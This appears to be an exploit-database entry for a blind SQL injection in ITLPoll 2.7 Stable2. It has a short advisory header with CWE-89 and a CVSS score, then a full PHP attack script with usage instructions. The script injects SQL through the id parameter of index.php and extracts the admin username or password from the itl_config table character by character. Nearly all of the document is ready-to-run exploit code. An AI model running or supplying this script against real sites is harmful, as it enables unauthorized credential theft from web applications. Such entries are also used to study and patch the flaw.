ITLPoll 2.7 Stable2 (index.php id) Blind SQL Injection Exploit

2009.01.30
Credit: Anon
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php function usage () { echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit". "\n[] Usage : ./itlpoll.php hostname path <username or password>". "\n[] Ex : ./itlpoll.php localhost /itlpoll password". "\n\n"; exit (); } function query ($func, $chr, $pos) { //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls. $query = "1' AND ORD(MID((SELECT IFNULL(CAST({$func} AS CHAR(10000)), CHAR(32)) FROM itl_config WHERE id = 1),{$pos},1))='{$chr}"; $query = str_replace (" ", "%20", $query); $query = str_replace ("'", "%27", $query); return $query; } function exploit ($host, $path, $func, $pos, $chr) { $chr = ord ($chr); $fp = fsockopen ($host, 80); $query = query ($func, $chr, $pos); $request = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n". "Host: {$host}\r\n". "Connection: Close\r\n\r\n"; fputs ($fp, $request); while (!feof ($fp)) $reply .= fgets ($fp, 1024); fclose ($fp); if (preg_match ("/EXPIERED/", $reply)) return false; else return true; } if ($argc != 4) usage (); $host = $argv [1]; $path = $argv [2]; $func = $argv [3]; $key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; //add a bigger char set if you can't get the username $pos = 1; $chr = 0; echo "[] Creds: "; while ($pos <= 32) { if (exploit ($host, $path, $func, $pos, $key [$chr])) { echo $key [$chr]; $chr = 0; $pos++; } else $chr++; } echo "\n"; ?>


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